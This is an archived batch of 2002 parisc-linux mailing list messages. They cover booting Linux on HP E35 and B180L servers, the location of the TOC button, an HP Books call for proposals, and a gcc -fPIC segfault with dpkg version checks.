Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] E35 816 Server & PA/Linux
Date: Wed, 13 Mar 2002 22:57:49 +0100
Organization: private
Lines: 58
Approved: news@gmane.org
Message-ID: <3C8FCB5D.1F73348D@gmx.at>
References: <0725120622E7D411AEF70020485A6B0CD71AF5@dl-msgusr-01.eu.fore.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621156 4703 80.91.229.3 (22 Nov 2014 01:52:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:36 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Dreeling, Michael" <michael.dreeling@marconi.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 13 14:57:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep13-int.chello.at (viefep13-int.chello.at [213.46.255.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7AE9C4862
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Mar 2002 14:57:53 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep13-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020313215750.HMVM8119.viefep13-int.chello.at@gmx.at>;
          Wed, 13 Mar 2002 22:57:50 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14335

You may have a chance, using this machine as a diskless machine
with NFS ROOT file system.

We have added a "PDC ROM console" driver to the kernel (I needed this
for my E55). You can compile a kernel with the CONFIG_PDC_CONSOLE
(config under "Non-standard serial port support" under "Character
Devices")
and follow the setup instruction in the HELP of CONFIG_PDC_CONSOLE.
(Creating the device `/dev/ttyB0' and setting up the `console=ttyB0'
kernel line parameter and modify `/etc/inittab'.

If it is the same as on my E55, you cannot access the serial ports
(MDP MUX board with 8 serial), the parallel port and the SCSI interface.
The serial port-0 on the MUX is used a PDC console (default setup),
and the new linux driver accesses this ROM PDC console (port 0).

The core machine and ethernet is working on my E55.

I hope this helps and good luck

Christoph P.



"Dreeling, Michael" wrote:
> 
> Hi People,
> I've got a newly acquired E35 816 Server which i'm trying to stick PA-Linux
> onto.
> Unfortunately i get this old error, which i have seen many people have
> problems with.
> 
> Loading ramdisk 1946807 bytes @ 03e14000...
> Branching to kernel entry point 0x00100000.  If this is the last
> message you see, you may need to switch your console.  This is
> a common symptom -- search the FAQ and mailing list at parisc-linux.org
> 
> I had seen on the site that someone had an E35 up and running (in the
> Hardware Database)
> but i also know that the E Series are officially unsupported. I tried the
> 0.93 (latest) Version from the 50MB ISO.
> Is there any way i can get parisc lunix onto this Box??
> 
> Thanks
> Michael
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:22:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "BRUCE,WALTER (Non-HP-USA,ex3)" <walter_bruce@non.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP Books Request for book proposals
Date: Wed, 13 Mar 2002 15:57:47 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <EA40EEF21E41D511A1A200D0B74FEB29062D0C4A@xpa05.mayfield.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621157 4707 80.91.229.3 (22 Nov 2014 01:52:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:37 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 13 16:57:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91B3A483F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Mar 2002 16:57:54 -0700 (MST)
Original-Received: from xparelay2.corp.hp.com (xparelay2.corp.hp.com [15.58.137.112])
	by palrel12.hp.com (Postfix) with ESMTP id 25FB360032B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Mar 2002 15:57:50 -0800 (PST)
Original-Received: from xpabh1.corp.hp.com (xpabh1.corp.hp.com [15.58.136.191])
	by xparelay2.corp.hp.com (Postfix) with ESMTP id B81F0A2
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Mar 2002 15:57:49 -0800 (PST)
Original-Received: by xpabh1.corp.hp.com with Internet Mail Service (5.5.2653.19)
	id <GT0H5S1Y>; Wed, 13 Mar 2002 15:57:49 -0800
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14336

HP Books publishes books for technical professionals in collaboration with
the publisher Prentice Hall/PTR. Our on catalog can be viewed at
http://www.hp.com/hpbooks/. In January we announced a new open source series
dedicated to publihing books on open source and Linux (see
http://www.hp.com/hpbooks/news/perens_os_011502.html). We are particularly
interested in receiving proposals for books on the following open source,
Linux, and related topics:

- Linux Internals
- Embedded Linux
- Linux Security
- PA-RISC Linux
- XML
- Ruby Network Programming
- JBOSS & J2EE
- Linux Performance Tuning
- eXtreme Progamming

Follow the link to the employee site on the /hpbooks page and look for "Want
to write a book" link for information on drafting and submitting a proposal.
Or email me (Walter_Bruce@non.hp.com), and I will send you the book proposal
form.

Thanks



From - Thu Nov 08 21:22:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gururaj Ananthateerta <gururaj@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] TOC on B180L
Date: Wed, 13 Mar 2002 19:31:21 -0800
Organization: Hewlett Packard
Lines: 6
Approved: news@gmane.org
Message-ID: <3C901989.D39C8E95@cup.hp.com>
References: <3C8E5DCD.942E6278@cup.hp.com> <20020312201309.H30538@parcelfarce.linux.theplanet.co.uk> <3C8E6704.81F14945@cup.hp.com> <20020312204919.I30538@parcelfarce.linux.theplanet.co.uk> <3C8E8FCC.3C1E759@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621157 4718 80.91.229.3 (22 Nov 2014 01:52:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:37 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 13 20:31:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 350BA4846
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Mar 2002 20:31:33 -0700 (MST)
Original-Received: from hpindda.cup.hp.com (hpindda.cup.hp.com [15.13.95.92])
	by palrel12.hp.com (Postfix) with ESMTP id C17F5600357
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Mar 2002 19:31:32 -0800 (PST)
Original-Received: from cup.hp.com (maverick.cup.hp.com [15.13.105.84])
	by hpindda.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id TAA01323
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Mar 2002 19:31:27 -0800 (PST)
X-Mailer: Mozilla 4.73 [en] (X11; I; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14337

anyone has any clue to generate a TOC on B180L






From - Thu Nov 08 21:22:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] TOC on B180L
Date: Thu, 14 Mar 2002 03:46:05 +0000
Lines: 9
Approved: news@gmane.org
Message-ID: <20020314034605.R30538@parcelfarce.linux.theplanet.co.uk>
References: <3C8E5DCD.942E6278@cup.hp.com> <20020312201309.H30538@parcelfarce.linux.theplanet.co.uk> <3C8E6704.81F14945@cup.hp.com> <20020312204919.I30538@parcelfarce.linux.theplanet.co.uk> <3C8E8FCC.3C1E759@gmx.at> <3C901989.D39C8E95@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621157 4725 80.91.229.3 (22 Nov 2014 01:52:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:37 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: Gururaj Ananthateerta <gururaj@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 13 20:46:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D49D6486F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Mar 2002 20:46:06 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16lMBp-0006p1-00; Thu, 14 Mar 2002 03:46:05 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3C901989.D39C8E95@cup.hp.com>; from gururaj@cup.hp.com on Wed, Mar 13, 2002 at 07:31:21PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14338

On Wed, Mar 13, 2002 at 07:31:21PM -0800, Gururaj Ananthateerta wrote:
> anyone has any clue to generate a TOC on B180L

Little button on the back, press it with a pen tip.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gururaj Ananthateerta <gururaj@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] TOC on B180L
Date: Wed, 13 Mar 2002 20:00:25 -0800
Organization: Hewlett Packard
Lines: 18
Approved: news@gmane.org
Message-ID: <3C902058.2EC80BF8@cup.hp.com>
References: <3C8E5DCD.942E6278@cup.hp.com> <20020312201309.H30538@parcelfarce.linux.theplanet.co.uk> <3C8E6704.81F14945@cup.hp.com> <20020312204919.I30538@parcelfarce.linux.theplanet.co.uk> <3C8E8FCC.3C1E759@gmx.at> <3C901989.D39C8E95@cup.hp.com> <20020314034605.R30538@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621158 4743 80.91.229.3 (22 Nov 2014 01:52:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:38 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 13 21:00:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5AFEE4876
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Mar 2002 21:00:41 -0700 (MST)
Original-Received: from hpindda.cup.hp.com (hpindda.cup.hp.com [15.13.95.92])
	by palrel11.hp.com (Postfix) with ESMTP
	id EC06B60093D; Wed, 13 Mar 2002 20:00:40 -0800 (PST)
Original-Received: from cup.hp.com (maverick.cup.hp.com [15.13.105.84])
	by hpindda.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id UAA02307;
	Wed, 13 Mar 2002 20:00:30 -0800 (PST)
X-Mailer: Mozilla 4.73 [en] (X11; I; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14339

tried , that button is not present.
there is a place holder but.




Matthew Wilcox wrote:

> On Wed, Mar 13, 2002 at 07:31:21PM -0800, Gururaj Ananthateerta wrote:
> > anyone has any clue to generate a TOC on B180L
>
> Little button on the back, press it with a pen tip.
>
> --
> Revolutions do not require corporate support.




From - Thu Nov 08 21:22:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] TOC on B180L
Date: Wed, 13 Mar 2002 23:30:19 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20020314063019.121854879@dsl2.external.hp.com>
References: <3C8E5DCD.942E6278@cup.hp.com> <20020312201309.H30538@parcelfarce.linux.theplanet.co.uk> <3C8E6704.81F14945@cup.hp.com> <20020312204919.I30538@parcelfarce.linux.theplanet.co.uk> <3C8E8FCC.3C1E759@gmx.at> <3C901989.D39C8E95@cup.hp.com> <20020314034605.R30538@parcelfarce.linux.theplanet.co.uk>  <3C902058.2EC80BF8@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621158 4748 80.91.229.3 (22 Nov 2014 01:52:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:38 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: Gururaj Ananthateerta <gururaj@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 13 23:30:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 121854879; Wed, 13 Mar 2002 23:30:19 -0700 (MST)
In-Reply-To: Message from Gururaj Ananthateerta <gururaj@cup.hp.com> 
   of "Wed, 13 Mar 2002 20:00:25 PST." <3C902058.2EC80BF8@cup.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14340

Gururaj Ananthateerta wrote:
> tried , that button is not present.
> there is a place holder but.

uhm...it's possible the machine is locked up in a way
where TOC is not effective...IIRC, it's a recessed, blue button
about 1mm is diameter. I expect (but haven't checked)
the B180 owners guide to be on docs.hp.com and it should
describe where TOC button is.

grant



From - Thu Nov 08 21:22:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evms-0.9.2 build utilities problem
Date: Thu, 14 Mar 2002 07:40:11 +0100 (CET)
Lines: 32
Approved: news@gmane.org
Message-ID: <1016088011.3c9045cb06909@webmail.tiscali.be>
References: <1016030200.3c8f63f89a0ff@webmail.tiscali.be> <20020313182335.GD6580@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621158 4750 80.91.229.3 (22 Nov 2014 01:52:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:38 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 13 23:40:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id D40F8487D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Mar 2002 23:40:14 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16lOuJ-0001Hy-00; Thu, 14 Mar 2002 07:40:11 +0100
In-Reply-To: <20020313182335.GD6580@tausq.org>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14341

Randolph,

Sorry (I would have to mentioned)

Quoting Randolph Chung <randolph@tausq.org>:

> > Well launch it made an immidiate Segmentation fault.
> > 
> > Now I recompile without "-fPIC" and it works fine.
> > 
> > Any idea on what is wrong?
> 
> what versions of gcc-3.0 and binutils are you running?
> 
> dpkg -s gcc-3.0 |grep Version

Version: 1:3.0.4-3

> dpkg -s binutils |grep Version

Version: 2.11.93.0.2-3


Joel

PS: This can be reproduce with a simple "Hello World" (just to avoid to sempt
time to find back the the sources of evms)

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] TOC on B180L
Date: Thu, 14 Mar 2002 07:54:29 +0100 (CET)
Lines: 16
Approved: news@gmane.org
Message-ID: <1016088869.3c904925683bb@webmail.tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621158 4751 80.91.229.3 (22 Nov 2014 01:52:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:38 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com, gururaj@cup.hp.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 13 23:54:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7A1FC487C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Mar 2002 23:54:39 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16lP89-0001Ne-00; Thu, 14 Mar 2002 07:54:29 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14342

Hi Grant,

On my B180L the TOC blue button is located (on the back of the 'server') just
between the keyboard connector and the video connector. (On all we have here,
the button is located at the same place).

Joel

PS: Is this interrupt will be consider as a hardware reset by linux kernel? (I
never try it because LKCD is not yet available)
 

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evms-0.9.2 build utilities problem
Date: Wed, 13 Mar 2002 23:18:22 -0800
Lines: 22
Approved: news@gmane.org
Message-ID: <20020314071822.GR730@tausq.org>
References: <1016030200.3c8f63f89a0ff@webmail.tiscali.be> <20020313182335.GD6580@tausq.org> <1016088011.3c9045cb06909@webmail.tiscali.be>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621159 4755 80.91.229.3 (22 Nov 2014 01:52:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, dave@hiauly1.hia.nrc.ca
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 14 00:18:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id B6F824882
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Mar 2002 00:18:40 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id oilzlaaa for parisc-linux@lists.parisc-linux.org; Thu, 14 Mar 2002 00:18:03 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16lPVG-0006VE-00; Wed, 13 Mar 2002 23:18:22 -0800
Content-Disposition: inline
In-Reply-To: <1016088011.3c9045cb06909@webmail.tiscali.be>
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14343

> PS: This can be reproduce with a simple "Hello World" (just to avoid to sempt
> time to find back the the sources of evms)

